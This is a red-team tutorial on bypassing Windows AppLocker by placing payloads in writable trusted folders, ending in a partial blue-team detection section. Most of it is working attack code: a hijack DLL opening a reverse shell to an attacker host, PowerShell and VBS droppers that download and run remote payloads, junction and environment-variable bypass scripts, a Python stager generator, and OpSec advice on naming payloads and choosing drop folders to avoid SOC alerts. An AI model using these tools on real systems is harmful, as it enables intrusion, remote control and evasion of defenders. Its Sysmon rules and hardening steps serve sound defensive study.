Skip to content
AppLocker Bypass: Trusted Folder Abuse

AppLocker Bypass: Trusted Folder Abuse

Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1574 (Hijack Execution Flow), T1574.001 (DLL Search Order Hijacking), T1036 (Masquerading), and T1574.010 (ServicesFile Permissions Weakness).


How Do AppLocker Path Rules Work?

AppLocker’s default ruleset grants execution rights using path-based rules. Out of the box, the three blessed paths are:

%WINDIR%\*               → C:\Windows\...
%PROGRAMFILES%\*         → C:\Program Files\...
%PROGRAMFILES(X86)%\*   → C:\Program Files (x86)\...

Anything inside these directories, regardless of who put it there, is trusted. AppLocker evaluates the path. That’s it. If the file lives under C:\Windows\, the rule fires, execution is allowed, and no further inspection happens.

The assumption baked into this model is that only administrators can write to these directories. On a hardened system, that assumption holds. On a real-world enterprise box, it almost never does.


Lab Setup

Reproduce every technique in an isolated snapshot environment before running anything on a real engagement.

VM Stack

┌─────────────────────────────────────────────────────────┐
│                   Host Machine                          │
│  ┌──────────────────────┐   ┌────────────────────────┐  │
│  │  Windows 10/11 VM    │   │   Kali Linux VM        │  │
│  │  (Target)            │   │   (Attacker)           │  │
│  │                      │   │                        │  │
│  │  - AppLocker enabled │   │  - Python HTTP server  │  │
│  │  - Standard user     │   │  - nc / rlwrap         │  │
│  │  - Sysmon installed  │   │  - msfvenom (optional) │  │
│  │  - Audit logging on  │   │                        │  │
│  │                      │   │  192.168.56.101        │  │
│  │  192.168.56.100      │   └────────────────────────┘  │
│  └──────────────────────┘                               │
│              Host-only network: 192.168.56.0/24         │
└─────────────────────────────────────────────────────────┘

Windows VM: AppLocker + Standard User Configuration

 1# 1. Enable AppLocker service
 2Set-Service -Name AppIDSvc -StartupType Automatic
 3Start-Service -Name AppIDSvc
 4
 5# 2. Apply default rules via GPO (run as admin)
 6# gpedit.msc → Computer Configuration → Windows Settings →
 7#   Security Settings → Application Control Policies → AppLocker
 8# Right-click Executable Rules → Create Default Rules
 9
10# 3. Enforce rules (not just Audit)
11# In each category → right-click → Properties → Enforcement: Enforced
12
13# 4. Verify enforcement is active
14Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
15
16# 5. Create a standard (non-admin) test user
17$pw = ConvertTo-SecureString "Password1!" -AsPlainText -Force
18New-LocalUser -Name "testuser" -Password $pw -FullName "Test User"
19Add-LocalGroupMember -Group "Users" -Member "testuser"
20# Do NOT add to Administrators
21
22# 6. Install AccessChk for writable-path discovery
23# Download from https://learn.microsoft.com/en-us/sysinternals/
24# Place accesschk.exe in C:\Tools\ (whitelisted or run from admin session)
25
26# 7. Install Process Monitor
27# Download from Sysinternals; useful for watching file/registry ops live
28
29# 8. Enable process creation audit
30auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
31# Verify
32auditpol /get /subcategory:"Process Creation"

Sysmon Configuration

# Download Sysmon + SwiftOnSecurity config
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" `
    -OutFile C:\Tools\sysmon-config.xml

# Install
C:\Tools\Sysmon64.exe -accepteula -i C:\Tools\sysmon-config.xml

# Monitor events in real time
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 20 |
    Select-Object TimeCreated, Id, Message | Format-List

Attacker VM (Kali): Payload Delivery Server

# Catch reverse shells
rlwrap nc -lvnp 4444

# Serve payloads over HTTP
mkdir -p ~/lab/trusted-folders
cd ~/lab/trusted-folders
python3 -m http.server 8080

Snapshot

Take a snapshot named "AppLocker-Trusted-Clean" after all configuration is done.
Roll back between technique tests to keep the environment consistent.

Diagrams

AppLocker Path Trust Model

The core weakness is that AppLocker asks where a binary lives, never who put it there. Path trust is not the same as write-access control:

    flowchart TD
    ENG["AppLocker rule engine"] --> Q{"Is the binary path\ninside a trusted location?"}
    Q -->|"%WINDIR% or %PROGRAMFILES% subtree"| ALLOW["ALLOW (path matched)"]
    Q -->|"outside trusted tree"| DENY["DENY"]
    ALLOW --> WHO{"Who wrote the file?\nAppLocker never checks this"}
    WHO -->|"admin wrote it"| LEGIT["Legitimate use"]
    WHO -->|"attacker wrote it"| BYPASS["BYPASS, still allowed"]
  

Writable Path Hierarchy Inside %WINDIR%

C:\Windows\ is trusted by the default rule, yet several of its subdirectories are writable by non-admins. Any one of them is a drop point:

    graph TD
    W["C:/Windows (trusted by default rule)"] --> T1["Tasks — world-writable on many builds"]
    W --> T2["Tracing — writable by authenticated users"]
    W --> T3["Temp — writable, often blocked by GPO"]
    W --> T4["System32/spool/drivers/color — writable on some configs"]
    W --> T5["SysWOW64/Tasks — 32-bit mirror of Tasks"]
    T1 --> DROP["Drop payload in any writable subdir\n→ execute → AppLocker ALLOWS"]
    T2 --> DROP
    T3 --> DROP
    T4 --> DROP
    T5 --> DROP
  

Enumerate writable paths inside the trusted trees with:

accesschk.exe -wud "C:\Windows" -accepteula
accesschk.exe -wud "C:\Program Files" -accepteula

Directory Junction Abuse Flow

A directory junction lets a trusted-looking path point at a directory you actually control, so AppLocker evaluates the trusted path while the file lives somewhere else:

    flowchart TD
    S1["1. Trusted but admin-only path\nC:/Windows/System32"] --> S2["2. Writable dir outside the trusted tree\nAppData/Local/Temp/junc_source"]
    S2 --> S3["3. mklink /J C:/Windows/Tasks/junction_name → writable dir"]
    S3 --> S4["4. Copy payload.exe into the writable dir"]
    S4 --> S5["5. Execute via C:/Windows/Tasks/junction_name/payload.exe"]
    S5 --> S6{"AppLocker evaluates the junction path"}
    S6 -->|"matches the %WINDIR% subtree"| ALLOW["ALLOW — never saw the real write location"]
  

Environment Variable Manipulation Flow

If %WINDIR% is user-controllable, redefining it makes the trusted path rule expand to a directory the attacker owns:

    flowchart TD
    N["Normal: %WINDIR% → C:/Windows (set by SYSTEM at boot)"] --> A["Attacker sets Env:WINDIR to\nAppData/Local/Temp/fakedir"]
    A --> E["Rule %WINDIR% subtree now expands to\nAppData/Local/Temp/fakedir"]
    E --> D["Drop payload.exe into fakedir, execute"]
    D --> ALLOW["Expanded path matches the rule → ALLOW"]
  

Modern systems fix this with locked %WINDIR% expansion in AppLocker, but legacy configs and some edge cases remain vulnerable.


The Attack Model

Path rules trust a location, not the files inside it. When a directory under a trusted path is writable by a standard user, those two facts combine into a bypass: drop a payload into the writable directory and AppLocker approves it on the strength of its path alone. The chain below shows the full sequence.

AppLocker path rule:  C:\Windows\* → ALLOW
                              │
Non-admin user finds:  C:\Windows\Tasks\ — world-writable
                              │
Drops payload.exe into that path
                              │
Executes it — AppLocker sees trusted path, fires ALLOW
                              │
Payload runs with user privileges, AppLocker never complained

The bypass lives entirely in the gap between path trust and write access control. Find a writable directory inside a trusted path, place your payload, execute. Game over.


Phase 1: Enumeration (Finding Writable Trusted Paths)

Built-in writable directories (default Windows installs)

These directories are writable by all authenticated users on most Windows versions without any configuration changes. They exist under %WINDIR%, which AppLocker trusts completely:

C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\Registration\CRMLog\
C:\Windows\System32\Com\dmp\
C:\Windows\System32\FxsTmp\
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
C:\Windows\System32\spool\drivers\color\
C:\Windows\System32\spool\PRINTERS\
C:\Windows\System32\spool\servers\
C:\Windows\SysWOW64\Com\dmp\
C:\Windows\SysWOW64\FxsTmp\
C:\Windows\SysWOW64\Tasks\
C:\Windows\tracing\

These are known. On your actual target, the installed software will have added more.


Custom Tool 1: PowerShell writable path enumerator

 1# Find-WritableTrustedPaths.ps1
 2# Recursively walks AppLocker-trusted directories and reports
 3# every subdirectory the current user can write to.
 4# Outputs results ranked by usefulness (exec-friendly paths first).
 5
 6param(
 7    [string[]]$TrustedRoots = @(
 8        $env:WINDIR,
 9        $env:PROGRAMFILES,
10        ${env:PROGRAMFILES(X86)}
11    ),
12    [int]$MaxDepth  = 4,
13    [switch]$Quiet
14)
15
16function Test-Writable {
17    param([string]$Path)
18    $probe = Join-Path $Path ([System.IO.Path]::GetRandomFileName())
19    try {
20        [System.IO.File]::WriteAllBytes($probe, [byte[]]@(0x4D, 0x5A))
21        Remove-Item $probe -Force -ErrorAction SilentlyContinue
22        return $true
23    } catch {
24        return $false
25    }
26}
27
28function Get-Depth {
29    param([string]$Path, [string]$Root)
30    $rel = $Path.Substring($Root.Length).TrimStart('\')
31    return ($rel -split '\\').Count
32}
33
34$results = [System.Collections.Generic.List[PSCustomObject]]::new()
35
36foreach ($root in $TrustedRoots | Where-Object { $_ -and (Test-Path $_) }) {
37    if (-not $Quiet) { Write-Host "[*] scanning $root ..." -ForegroundColor Cyan }
38
39    Get-ChildItem -Path $root -Recurse -Directory -ErrorAction SilentlyContinue |
40    Where-Object {
41        (Get-Depth $_.FullName $root) -le $MaxDepth
42    } |
43    ForEach-Object {
44        if (Test-Writable $_.FullName) {
45            # check if we can also create executables (some paths allow write but block .exe)
46            $exeProbe = Join-Path $_.FullName "test_$(Get-Random).exe"
47            $exeOk = $false
48            try {
49                [System.IO.File]::WriteAllBytes($exeProbe, [byte[]]@(0x4D,0x5A,0x90,0x00))
50                Remove-Item $exeProbe -Force -ErrorAction SilentlyContinue
51                $exeOk = $true
52            } catch {}
53
54            $results.Add([PSCustomObject]@{
55                Path       = $_.FullName
56                ExeDrop    = $exeOk
57                Root       = $root
58                Depth      = (Get-Depth $_.FullName $root)
59            })
60        }
61    }
62}
63
64# rank: exe-droppable first, then by depth (shallower = less conspicuous)
65$ranked = $results | Sort-Object -Property @(
66    @{ Expression = "ExeDrop"; Descending = $true },
67    @{ Expression = "Depth";   Descending = $false }
68)
69
70Write-Host "`n[+] Writable trusted paths ($($ranked.Count) found):`n" -ForegroundColor Green
71
72$ranked | ForEach-Object {
73    $tag = if ($_.ExeDrop) { "[EXE]" } else { "[WRT]" }
74    $col = if ($_.ExeDrop) { "Yellow" } else { "Gray" }
75    Write-Host "  $tag $($_.Path)" -ForegroundColor $col
76}
77
78# export CSV for offline analysis
79$ranked | Export-Csv -Path ".\writable_trusted_paths.csv" -NoTypeInformation
80Write-Host "`n[*] saved to writable_trusted_paths.csv" -ForegroundColor Cyan
# run
.\Find-WritableTrustedPaths.ps1

# deeper scan, all roots
.\Find-WritableTrustedPaths.ps1 -MaxDepth 6

# quiet — CSV only
.\Find-WritableTrustedPaths.ps1 -Quiet

Custom Tool 2: C# standalone enumerator (no PowerShell dependency)

Compile and drop this when PowerShell is locked down or Script Block Logging is hot.

 1// PathFinder.cs — writable trusted path enumerator
 2// Compile: csc.exe /out:PathFinder.exe PathFinder.cs
 3//      or: dotnet build
 4
 5using System;
 6using System.Collections.Generic;
 7using System.IO;
 8using System.Security.AccessControl;
 9using System.Security.Principal;
10
11class PathFinder {
12
13    static readonly string[] TrustedRoots = {
14        Environment.GetEnvironmentVariable("WINDIR")            ?? @"C:\Windows",
15        Environment.GetEnvironmentVariable("PROGRAMFILES")      ?? @"C:\Program Files",
16        Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") ?? @"C:\Program Files (x86)"
17    };
18
19    static WindowsIdentity _identity = WindowsIdentity.GetCurrent();
20
21    static void Main(string[] args) {
22        int maxDepth = 4;
23        if (args.Length > 0) int.TryParse(args[0], out maxDepth);
24
25        Console.ForegroundColor = ConsoleColor.Cyan;
26        Console.WriteLine($"[*] running as {_identity.Name}");
27        Console.WriteLine($"[*] scanning trusted roots (depth {maxDepth})\n");
28        Console.ResetColor();
29
30        var results = new List<(string path, bool exeOk)>();
31
32        foreach (var root in TrustedRoots) {
33            if (!Directory.Exists(root)) continue;
34            Console.WriteLine($"[*] {root}");
35            Walk(root, root, 0, maxDepth, results);
36        }
37
38        results.Sort((a, b) => {
39            int exeCmp = b.exeOk.CompareTo(a.exeOk);
40            return exeCmp != 0 ? exeCmp : a.path.Length.CompareTo(b.path.Length);
41        });
42
43        Console.ForegroundColor = ConsoleColor.Green;
44        Console.WriteLine($"\n[+] {results.Count} writable path(s) found:\n");
45        Console.ResetColor();
46
47        foreach (var (path, exeOk) in results) {
48            var tag = exeOk ? "[EXE]" : "[WRT]";
49            Console.ForegroundColor = exeOk ? ConsoleColor.Yellow : ConsoleColor.Gray;
50            Console.WriteLine($"  {tag} {path}");
51        }
52        Console.ResetColor();
53
54        // write to file
55        using var f = File.CreateText("writable_paths.txt");
56        foreach (var (path, exeOk) in results)
57            f.WriteLine($"{(exeOk ? "EXE" : "WRT")}\t{path}");
58        Console.WriteLine("\n[*] saved → writable_paths.txt");
59    }
60
61    static void Walk(string root, string dir, int depth, int maxDepth,
62                     List<(string, bool)> results) {
63        if (depth > maxDepth) return;
64
65        string[] subs;
66        try { subs = Directory.GetDirectories(dir); }
67        catch { return; }
68
69        foreach (var sub in subs) {
70            var (canWrite, canExe) = TestWrite(sub);
71            if (canWrite) results.Add((sub, canExe));
72            Walk(root, sub, depth + 1, maxDepth, results);
73        }
74    }
75
76    static (bool write, bool exe) TestWrite(string dir) {
77        var rand    = Path.GetRandomFileName();
78        var probe   = Path.Combine(dir, rand);
79        var exeProbe = Path.Combine(dir, rand + ".exe");
80        bool write  = false, exe = false;
81
82        try {
83            File.WriteAllBytes(probe, new byte[] { 0x4D, 0x5A });
84            File.Delete(probe);
85            write = true;
86        } catch { return (false, false); }
87
88        try {
89            // MZ header — valid enough to trigger AppLocker path eval
90            File.WriteAllBytes(exeProbe, new byte[] { 0x4D,0x5A,0x90,0x00,0x03,0x00 });
91            File.Delete(exeProbe);
92            exe = true;
93        } catch {}
94
95        return (write, exe);
96    }
97}
csc.exe /out:PathFinder.exe PathFinder.cs
PathFinder.exe          :: default depth 4
PathFinder.exe 6        :: depth 6

Phase 2: Exploitation

Technique 1: Direct Execution from Writable Trusted Path

The simplest possible bypass. Drop your payload into a writable trusted directory, execute it. AppLocker checks the path, sees C:\Windows\Tasks\, fires the ALLOW rule.

:: copy payload to writable trusted path
copy payload.exe C:\Windows\Tasks\svchost_upd.exe

:: execute — AppLocker evaluates path, not content
C:\Windows\Tasks\svchost_upd.exe
# PowerShell dropper — fetch and execute from trusted path
$target = "C:\Windows\Tasks\WindowsUpdate.exe"
$url    = "http://10.10.10.10/payload.exe"

(New-Object Net.WebClient).DownloadFile($url, $target)
Start-Process $target -WindowStyle Hidden

Technique 2: DLL Drop + Search Order Hijacking

When a trusted binary runs from a trusted path, Windows searches for its DLL dependencies in a predictable order. If any dependency is missing, or can be intercepted at a writable trusted path, you win. Your DLL loads inside a fully trusted process.

DLL search order (SafeDllSearchMode enabled):
  1. DLLs already in memory
  2. Known DLLs (HKLM\SYSTEM\...\KnownDLLs)
  3. The application's directory         ← if this is writable, done
  4. C:\Windows\System32\
  5. C:\Windows\System\
  6. C:\Windows\
  7. Current working directory
  8. PATH directories

Step 1: Find a vulnerable binary

 1# Find-DLLHijack.ps1
 2# Finds trusted binaries that attempt to load DLLs that don't exist
 3# Requires Process Monitor (ProcMon) trace or uses the known-missing list
 4
 5# Known DLLs missing from many Windows installations (common hijack targets)
 6$KnownMissing = @(
 7    "wbemcomn.dll",  "ntwdblib.dll",  "symsrv.dll",
 8    "dbghelp.dll",   "mscms.dll",     "MPSigStub.exe",
 9    "TSMSISrv.dll",  "TSVIPSrv.dll",  "Tsmsisi.dll"
10)
11
12# Find writable application directories for installed software
13$appDirs = @(
14    "$env:PROGRAMFILES",
15    "${env:PROGRAMFILES(X86)}"
16) | ForEach-Object {
17    Get-ChildItem $_ -Directory -ErrorAction SilentlyContinue
18} | Where-Object {
19    $probe = Join-Path $_.FullName "probe_$(Get-Random).tmp"
20    try {
21        [IO.File]::WriteAllBytes($probe, @(0))
22        Remove-Item $probe -Force
23        $true
24    } catch { $false }
25}
26
27Write-Host "[+] Writable application directories:"
28$appDirs | ForEach-Object { Write-Host "    $($_.FullName)" }
29Write-Host "`n[+] High-value DLL hijack candidates:"
30$KnownMissing | ForEach-Object { Write-Host "    $_" }

Step 2: Build the hijack DLL

 1/* hijack.c — DLL hijack payload
 2 * Drops in place of a missing DLL in a trusted binary's directory.
 3 * Forwards all expected exports to the real DLL so the host process
 4 * stays stable (important for persistence — crashing the host burns the foothold).
 5 *
 6 * Compile:
 7 *   x86_64-w64-mingw32-gcc -shared -o target.dll hijack.c \
 8 *       -lws2_32 -mwindows -s -Wl,--build-id=none \
 9 *       -Wl,--enable-stdcall-fixup
10 */
11
12#define WIN32_LEAN_AND_MEAN
13#include <windows.h>
14#include <winsock2.h>
15#include <ws2tcpip.h>
16
17#define LHOST "10.10.10.10"
18#define LPORT  4444
19
20static HANDLE g_thread = NULL;
21
22/* ── reverse shell ───────────────────────────────────────────────────── */
23static DWORD WINAPI shell_thread(LPVOID p) {
24    (void)p;
25
26    WSADATA wsa;
27    WSAStartup(MAKEWORD(2,2), &wsa);
28
29    SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
30                             NULL, 0, WSA_FLAG_OVERLAPPED);
31    if (sock == INVALID_SOCKET) return 1;
32
33    struct sockaddr_in sa = {0};
34    sa.sin_family = AF_INET;
35    sa.sin_port   = htons(LPORT);
36    inet_pton(AF_INET, LHOST, &sa.sin_addr);
37
38    if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) != 0) {
39        closesocket(sock);
40        WSACleanup();
41        return 1;
42    }
43
44    STARTUPINFOA si = {0};
45    si.cb          = sizeof(si);
46    si.dwFlags     = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
47    si.wShowWindow = SW_HIDE;
48    si.hStdInput   = (HANDLE)sock;
49    si.hStdOutput  = (HANDLE)sock;
50    si.hStdError   = (HANDLE)sock;
51
52    PROCESS_INFORMATION pi = {0};
53    char cmd[] = "cmd.exe";
54    CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
55                   CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
56
57    WaitForSingleObject(pi.hProcess, INFINITE);
58    CloseHandle(pi.hProcess);
59    CloseHandle(pi.hThread);
60    closesocket(sock);
61    WSACleanup();
62    return 0;
63}
64
65/* ── DllMain ─────────────────────────────────────────────────────────── */
66BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {
67    if (reason == DLL_PROCESS_ATTACH) {
68        DisableThreadLibraryCalls(hMod);
69        g_thread = CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
70    }
71    if (reason == DLL_PROCESS_DETACH && g_thread) {
72        CloseHandle(g_thread);
73    }
74    return TRUE;
75}
76
77/* ── stub exports — keeps host process from crashing ─────────────────── */
78/* Add real forwarding pragmas for the specific DLL you're impersonating  */
79__declspec(dllexport) void Stub_Export_1(void) {}
80__declspec(dllexport) void Stub_Export_2(void) {}

Step 3: Deploy

:: drop the hijack DLL where the vulnerable binary will find it
copy hijack.dll "C:\Program Files\VulnerableApp\wbemcomn.dll"

:: trigger the host binary — it loads your DLL, shell fires
"C:\Program Files\VulnerableApp\legit_app.exe"

Technique 3: Directory Junction Abuse

A directory junction (symlink for directories) tricks AppLocker’s path evaluation. AppLocker resolves the path of the file, not the junction that points to it. If you create a junction inside a trusted path pointing to a directory you control, files in your directory inherit the trusted path evaluation.

 1:: create a directory you control (outside trusted paths)
 2mkdir C:\Users\Public\staging
 3
 4:: drop your payload there
 5copy payload.exe C:\Users\Public\staging\update.exe
 6
 7:: create a junction from a writable trusted path → your staging dir
 8:: requires mklink (built-in) — no admin needed for junctions to user-writable dirs
 9mklink /J C:\Windows\Tasks\TrustMe C:\Users\Public\staging
10
11:: execute via the junction path — AppLocker sees C:\Windows\Tasks\TrustMe\update.exe
12C:\Windows\Tasks\TrustMe\update.exe
 1# Junction-Bypass.ps1 — automated junction creation and payload execution
 2
 3param(
 4    [string]$PayloadUrl   = "http://10.10.10.10/payload.exe",
 5    [string]$StagingDir   = "$env:PUBLIC\svc",
 6    [string]$TrustedBase  = "C:\Windows\Tasks",
 7    [string]$JunctionName = "TrustMe_$(Get-Random -Max 9999)"
 8)
 9
10$junctionPath  = Join-Path $TrustedBase $JunctionName
11$payloadLocal  = Join-Path $StagingDir  "svchost.exe"
12$payloadViaJnc = Join-Path $junctionPath "svchost.exe"
13
14# prep staging area (outside trusted path)
15New-Item -ItemType Directory -Path $StagingDir -Force | Out-Null
16(New-Object Net.WebClient).DownloadFile($PayloadUrl, $payloadLocal)
17Write-Host "[+] payload staged at $payloadLocal"
18
19# create junction from trusted path → staging dir
20# cmd /c mklink needed — PowerShell New-Item junction requires elevation on some builds
21cmd /c "mklink /J `"$junctionPath`" `"$StagingDir`"" | Out-Null
22Write-Host "[+] junction: $junctionPath$StagingDir"
23
24# execute via trusted junction path
25Start-Process -FilePath $payloadViaJnc -WindowStyle Hidden
26Write-Host "[*] launched: $payloadViaJnc"

Technique 4: Environment Variable Manipulation

AppLocker expands environment variables when evaluating path rules. If %WINDIR% can be overridden in the user’s environment, the trusted path rule expands to a path you control.

 1:: override WINDIR in user environment
 2:: (doesn't affect system — only current user session and child processes)
 3set WINDIR=C:\Users\Public\FakeWindows
 4
 5:: create matching directory structure
 6mkdir C:\Users\Public\FakeWindows\Tasks
 7
 8:: drop payload
 9copy payload.exe C:\Users\Public\FakeWindows\Tasks\update.exe
10
11:: AppLocker evaluates path as %WINDIR%\Tasks\ — resolves to our fake dir
12C:\Users\Public\FakeWindows\Tasks\update.exe
 1# EnvVar-Bypass.ps1
 2
 3$fakeWin   = "$env:PUBLIC\FakeWin"
 4$fakeTasks = "$fakeWin\Tasks"
 5$payload   = "$fakeTasks\svchost.exe"
 6$url       = "http://10.10.10.10/payload.exe"
 7
 8New-Item -ItemType Directory -Path $fakeTasks -Force | Out-Null
 9(New-Object Net.WebClient).DownloadFile($url, $payload)
10
11# override for this session and all child processes
12$env:WINDIR = $fakeWin
13[Environment]::SetEnvironmentVariable("WINDIR", $fakeWin, "User")
14
15Write-Host "[+] WINDIR overridden → $fakeWin"
16Write-Host "[+] payload at $payload"
17
18# launch in a new session that inherits the modified environment
19Start-Process $payload -WindowStyle Hidden

Note: Modern Windows and hardened builds may not honor user-level %WINDIR% overrides in AppLocker evaluation. Test on the specific target OS and patch level. This works reliably on Windows 7–10 pre-2020 patching.


Technique 5: Writable Path + Renamed Interpreter

A clean, reliable technique: copy a trusted script interpreter into a writable trusted directory, then use it to execute your payload. AppLocker allows both the interpreter (trusted binary, trusted path) and the script (same trusted path).

:: copy cscript into a writable trusted path
copy C:\Windows\System32\cscript.exe C:\Windows\Tasks\cshost.exe

:: drop script payload in same trusted directory
echo WScript.Shell.Run "powershell -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/s.ps1')" > C:\Windows\Tasks\init.vbs

:: execute — AppLocker sees two trusted-path files
C:\Windows\Tasks\cshost.exe //nologo C:\Windows\Tasks\init.vbs

Technique 6: Trusted Path Payload Stager (Full Automation)

  1#!/usr/bin/env python3
  2# trusted_path_stager.py
  3# Given a list of writable trusted paths (from PathFinder output),
  4# selects the best drop location, uploads payload, and generates
  5# the execution command.
  6
  7import os
  8import sys
  9import socket
 10import struct
 11import argparse
 12from pathlib import Path
 13
 14# Known writable trusted directories — ranked by stealth (lower = stealthier name)
 15KNOWN_WRITABLE = [
 16    r"C:\Windows\System32\spool\drivers\color",   # rarely monitored
 17    r"C:\Windows\tracing",
 18    r"C:\Windows\System32\Com\dmp",
 19    r"C:\Windows\System32\FxsTmp",
 20    r"C:\Windows\Registration\CRMLog",
 21    r"C:\Windows\Tasks",                           # common, slightly noisier
 22    r"C:\Windows\Temp",                            # noisiest — avoid if possible
 23]
 24
 25LOLBINS = {
 26    "cscript":    r"C:\Windows\System32\cscript.exe",
 27    "wscript":    r"C:\Windows\System32\wscript.exe",
 28    "mshta":      r"C:\Windows\System32\mshta.exe",
 29    "rundll32":   r"C:\Windows\System32\rundll32.exe",
 30    "regsvr32":   r"C:\Windows\System32\regsvr32.exe",
 31}
 32
 33def generate_dropper_ps1(drop_path: str, payload_url: str, lolbin: str = None) -> str:
 34    payload_name = "svchost_" + str(hash(payload_url) & 0xffff) + ".exe"
 35    target       = drop_path.rstrip("\\") + "\\" + payload_name
 36
 37    lines = [
 38        f'# trusted path stager — generated by trusted_path_stager.py',
 39        f'$target = "{target}"',
 40        f'$url    = "{payload_url}"',
 41        f'',
 42        f'# fetch and write to trusted path',
 43        f'(New-Object Net.WebClient).DownloadFile($url, $target)',
 44        f'Write-Host "[+] dropped to $target"',
 45        f'',
 46    ]
 47
 48    if lolbin:
 49        # execute via a LOLBin copy in the same trusted directory
 50        lolbin_src  = LOLBINS.get(lolbin, r"C:\Windows\System32\cscript.exe")
 51        lolbin_drop = drop_path.rstrip("\\") + f"\\{lolbin}host.exe"
 52        lines += [
 53            f'# copy interpreter to same trusted path',
 54            f'Copy-Item "{lolbin_src}" "{lolbin_drop}" -Force',
 55            f'Start-Process "{lolbin_drop}" -ArgumentList "//nologo $target" -WindowStyle Hidden',
 56        ]
 57    else:
 58        lines += [
 59            f'# execute directly',
 60            f'Start-Process $target -WindowStyle Hidden',
 61        ]
 62
 63    lines += [
 64        f'Write-Host "[*] launched"',
 65    ]
 66
 67    return "\n".join(lines)
 68
 69def generate_cmd_oneliner(drop_path: str, payload_url: str) -> str:
 70    payload_name = "update_kb.exe"
 71    target       = drop_path.rstrip("\\") + "\\" + payload_name
 72    return (
 73        f'powershell -nop -w hidden -ep bypass -c "'
 74        f'(New-Object Net.WebClient).DownloadFile('
 75        f"\\'{payload_url}\\',\\'{target}\\');"
 76        f'Start-Process \\'{target}\\' -WindowStyle Hidden"'
 77    )
 78
 79def main():
 80    p = argparse.ArgumentParser(description="Trusted Path Stager Generator")
 81    p.add_argument("--url",      required=True,  help="payload URL")
 82    p.add_argument("--path",     default=None,   help="override drop path")
 83    p.add_argument("--lolbin",   default=None,   choices=list(LOLBINS.keys()),
 84                   help="copy and use a LOLBin from the same trusted path")
 85    p.add_argument("--oneliner", action="store_true", help="output cmd one-liner only")
 86    args = p.parse_args()
 87
 88    drop_path = args.path or KNOWN_WRITABLE[0]
 89
 90    print(f"[*] target drop path : {drop_path}")
 91    print(f"[*] payload url      : {args.url}")
 92    if args.lolbin:
 93        print(f"[*] LOLBin           : {args.lolbin}")
 94    print()
 95
 96    if args.oneliner:
 97        print("[CMD one-liner]")
 98        print(generate_cmd_oneliner(drop_path, args.url))
 99    else:
100        print("[PowerShell dropper]")
101        print("-" * 60)
102        print(generate_dropper_ps1(drop_path, args.url, args.lolbin))
103
104if __name__ == "__main__":
105    main()
 1# generate a PS1 dropper for the stealthiest known writable path
 2python3 trusted_path_stager.py --url http://10.10.10.10/payload.exe
 3
 4# use cscript LOLBin copy in the same trusted dir
 5python3 trusted_path_stager.py --url http://10.10.10.10/shell.vbs --lolbin cscript
 6
 7# cmd one-liner (for macros, run dialog, etc.)
 8python3 trusted_path_stager.py --url http://10.10.10.10/payload.exe --oneliner
 9
10# specify custom drop path (from PathFinder output)
11python3 trusted_path_stager.py \
12    --url http://10.10.10.10/payload.exe \
13    --path "C:\Windows\System32\spool\drivers\color"

OpSec Notes

  • C:\Windows\Temp is the noisiest writable trusted path — most blue teams monitor it explicitly . Prefer spool\drivers\color, tracing, or FxsTmp which are rarely watched.
  • Payload naming matters. Files named svchost.exe, lsass.exe, or explorer.exe in non-standard locations are instant Tier-1 alerts on any SOC running Sysmon. Use plausible update or service names: WmiApSrv.exe, MpCmdRun.exe, WUDFHost.exe.
  • Directory junctions are logged by Sysmon EID 11 (FileCreate) when the junction itself is created, but traversal through the junction typically does not generate separate path-resolution events — making it quieter than a straight file drop.
  • Environment variable manipulation (%WINDIR%) leaves a trace in the registry if you use SetEnvironmentVariable at the User scope. Session-only (set WINDIR=...) is cleaner but dies with the process.
  • DLL hijacking is the stealthiest long-term play — the host process is legitimate, signed, expected to run. Your DLL lives inside a trusted application directory. No suspicious child processes unless your shell spawns one.

Detection (Blue Team)

signalevent
Executable written to C:\Windows\Tasks\, C:\Windows\Temp\, or other writable trusted dirsSysmon EID 11 — FileCreate
Process launched from writable trusted pathSysmon EID 1 — Image path analysis
Junction created inside C:\Windows\*Sysmon EID 11 — TargetFilename contains junction
%WINDIR% overridden at user levelRegistry EID 13 — HKCU\Environment\WINDIR
DLL loaded from application directory (non-system DLL)Sysmon EID 7 — ImageLoad, check Signed + SignatureStatus
Known-writable trusted path in process Image fieldSysmon EID 1 — custom alert rule

Sysmon file creation rule:

 1<FileCreate onmatch="include">
 2  <!-- executables written to writable trusted paths -->
 3  <TargetFilename condition="contains">Windows\Tasks\</TargetFilename>
 4  <TargetFilename condition="contains">Windows\tracing\</TargetFilename>
 5  <TargetFilename condition="contains">spool\drivers\color\</TargetFilename>
 6  <TargetFilename condition="contains">System32\Com\dmp\</TargetFilename>
 7  <TargetFilename condition="contains">System32\FxsTmp\</TargetFilename>
 8</FileCreate>
 9
10<ProcessCreate onmatch="include">
11  <!-- processes launched from known writable trusted paths -->
12  <Image condition="contains">Windows\Tasks\</Image>
13  <Image condition="contains">Windows\tracing\</Image>
14  <Image condition="contains">spool\drivers\color\</Image>
15</ProcessCreate>

Baseline hardening:

 1# Harden-TrustedPaths.ps1 — remove write access from trusted writable paths
 2# Run as Administrator
 3
 4$harden = @(
 5    "C:\Windows\Tasks",
 6    "C:\Windows\tracing",
 7    "C:\Windows\System32\Com\dmp",
 8    "C:\Windows\System32\FxsTmp",
 9    "C:\Windows\System32\spool\drivers\color",
10    "C:\Windows\System32\spool\PRINTERS",
11    "C:\Windows\Registration\CRMLog"
12)
13
14foreach ($dir in $harden) {
15    if (-not (Test-Path $dir)) { continue }
16
17    $acl  = Get-Acl $dir
18    $user = [System.Security.Principal.SecurityIdentifier]"S-1-5-32-545" # BUILTIN\Users
19
20    # find and remove write rules for Users
